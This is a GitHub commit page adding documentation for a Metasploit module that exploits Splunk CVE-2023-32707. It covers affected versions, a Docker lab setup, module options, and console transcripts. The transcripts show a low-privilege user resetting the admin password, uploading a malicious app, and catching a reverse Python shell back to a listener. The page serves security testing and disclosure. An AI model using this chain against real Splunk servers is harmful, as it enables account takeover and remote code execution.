Skip to content

Commit d960aa5

Browse files
zgoldman-r7zgoldman-r7
authored
Land #18348, Splunk account take over (CVE-2023-32707) leading to RCE
2 parents 816048b + e5e58bc commit d960aa5

File tree

2 files changed

+609
-0
lines changed

2 files changed

+609
-0
lines changed

‎documentation/modules/exploit/multi/http/splunk_privilege_escalation_cve_2023_32707.md‎

Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
An authorization issue within Splunk Enterprise allows any user with the edit_user capability to take over
6+
the admin account (or any other chosen account) by simply changing its password.
7+
8+
On June 1, 2023, Splunk released a software update that addressed this vulnerability (CVE-2023-32707).
9+
10+
The following products are affected:
11+
12+
Splunk Enterprise:
13+
- from 8.1 before 8.1.14
14+
- from 8.2 before 8.2.11
15+
- from 9.0 before 9.0.5
16+
17+
Splunk Cloud Platform:
18+
- before 9.0.2303.100
19+
20+
### Exploitation
21+
22+
This module exploits this authorization issue to take over the admin account (or any other account with
23+
the capability `install_apps`) to deploy an app within Splunk, aiming to achieve remote code execution.
24+
25+
To achieve that this module:
26+
- Will change the password of the targeted user;
27+
- Will deploy an app with a malicious payload;
28+
29+
After the execution the cleanup method will be called and:
30+
- Should delete the deployed app;
31+
32+
### Setup
33+
34+
Create a Splunk's docker container with the following command:
35+
36+
```bash
37+
docker run --rm -p 8000:8000 -p 8089:8089 -e "SPLUNK_START_ARGS=--accept-license" -e "SPLUNK_PASSWORD=password" --name splunk-9.0.4 splunk/splunk:9.0.4
38+
```
39+
40+
```bash
41+
# Creating non-admin user
42+
$ curl -k -u admin:password https://localhost:8089/services/authentication/users -d name=redway -d password=changeme -d roles=user -d createrole=1 -X POST
43+
# Adding capability to edit_user to the non-admin role
44+
$ curl -k -u admin:password https://localhost:8089/services/authorization/roles/user-redway -d capabilities=edit_user -X POST
45+
```
46+
47+
**One must log in at least once on the web interface (http://localhost:8000). Otherwise, this module will fail to get the CSRF
48+
token on the `appinstall`.**
49+
50+
## Verification Steps
51+
Follow [Setup](#setup) and [Scenarios](#scenarios).
52+
53+
## Options
54+
55+
### USERNAME (required)
56+
57+
The username that with the capability `edit_user` to authenticate with.
58+
59+
### PASSWORD (required)
60+
61+
The password of the user to authenticate with.
62+
63+
### RHOSTS (required)
64+
65+
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
66+
67+
### RPORT (required)
68+
69+
The target port (TCP)
70+
71+
### TARGET_USER (required)
72+
73+
The username to change the password for (default: admin)
74+
75+
### TARGET_PASSWORD
76+
77+
The new password to set for the admin user (default: random)
78+
79+
### APP_NAME
80+
81+
The name of the app to upload (default: random)
82+
83+
## Scenarios
84+
85+
### Docker container running Splunk 9.0.4
86+
87+
88+
If the user you have access doen't have the capability `edit_user` the module will fail as shown below:
89+
90+
```
91+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > check
92+
93+
[*] Splunk version 9.0.4 detected
94+
[*] 127.0.0.1:8000 - The target is not exploitable. User 'redway' does not have 'edit_user' capability
95+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) >
96+
97+
```
98+
99+
If the targeted user does have the capability `install_apps` the module will fail as shown below:
100+
101+
```
102+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit
103+
104+
[*] Started reverse TCP handler on 172.17.0.1:4444
105+
[*] Running automatic check ("set AutoCheck false" to disable)
106+
[*] Splunk version 9.0.4 detected
107+
[+] The target appears to be vulnerable. User 'redway' has 'edit_user' capability
108+
[*] Changing 'user' password to yMDIOKyrHoUx
109+
[+] Password of the user 'user' has bee changed to yMDIOKyrHoUx
110+
[-] Exploit aborted due to failure: bad-config: The user 'user' does not have 'install_app' capability. You may consider to target other user
111+
[*] Exploit completed, but no session was created.
112+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) >
113+
```
114+
115+
```
116+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > options
117+
118+
Module options (exploit/multi/http/splunk_privilege_escalation_cve_2023_32707):
119+
120+
Name Current Setting Required Description
121+
---- --------------- -------- -----------
122+
APP_NAME no The name of the app to upload (default: random)
123+
PASSWORD changeme yes The password for the specified username
124+
Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...]
125+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
126+
RPORT 8000 yes The target port (TCP)
127+
SSL false no Negotiate SSL/TLS for outgoing connections
128+
TARGET_PASSWORD no The new password to set for the admin user (default: random)
129+
TARGET_USER admin yes The username to change the password for (default: admin)
130+
USERNAME redway yes The username with "edit_user" role to authenticate as
131+
VHOST no HTTP server virtual host
132+
133+
134+
Payload options (cmd/unix/reverse_python):
135+
136+
Name Current Setting Required Description
137+
---- --------------- -------- -----------
138+
LHOST 172.17.0.1 yes The listen address (an interface may be specified)
139+
LPORT 4444 yes The listen port
140+
SHELL /bin/sh yes The system shell to use
141+
142+
143+
Exploit target:
144+
145+
Id Name
146+
-- ----
147+
0 Splunk <= 9.0.5, 8.2.11, and 8.1.14 / Linux
148+
149+
150+
151+
View the full module info with the info, or info -d command.
152+
153+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit
154+
155+
[*] Started reverse TCP handler on 172.17.0.1:4444
156+
[*] Running automatic check ("set AutoCheck false" to disable)
157+
[*] Splunk version 9.0.4 detected
158+
[+] The target appears to be vulnerable. User 'redway' has 'edit_user' capability
159+
[*] Changing 'admin' password to srviInIpi
160+
[+] Password of the user 'admin' has bee changed to srviInIpi
161+
[*] Uploading app stringtough
162+
[*] Uploading file stringtough
163+
[*] Creating an application package named: stringtough
164+
[+] stringtough successfully uploaded
165+
[*] Waiting for session
166+
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:52672) at 2023-09-12 15:19:53 +0200
167+
168+
id
169+
uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible)
170+
pwd
171+
/opt/splunk/etc/apps/stringtough/bin
172+
exit
173+
[*] 127.0.0.1 - Command shell session 1 closed.
174+
```
175+
176+
### Docker container running Splunk 9.0.5
177+
178+
On a **non-vulnerable** version the module will fail as shown below:
179+
180+
```
181+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit
182+
183+
[*] Started reverse TCP handler on 172.17.0.1:4444
184+
[*] Running automatic check ("set AutoCheck false" to disable)
185+
[!] The target is not exploitable. Detected Splunk version 9.0.5 which is not vulnerable ForceExploit is enabled, proceeding with exploitation.
186+
[*] Changing 'admin' password to iDKBmVsj
187+
[-] Exploit aborted due to failure: unexpected-reply: Unable to change admin's password.
188+
[*] Exploit completed, but no session was created.
189+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > set ForceExploit true
190+
ForceExploit => true
191+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > exploit
192+
193+
[*] Started reverse TCP handler on 172.17.0.1:4444
194+
[*] Running automatic check ("set AutoCheck false" to disable)
195+
[!] The target is not exploitable. Detected Splunk version 9.0.5 which is not vulnerable ForceExploit is enabled, proceeding with exploitation.
196+
[*] Changing 'admin' password to scupUXtcV
197+
[-] Exploit aborted due to failure: unexpected-reply: Unable to change admin's password.
198+
[*] Exploit completed, but no session was created.
199+
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) >
200+
```

0 commit comments

Comments
 (0)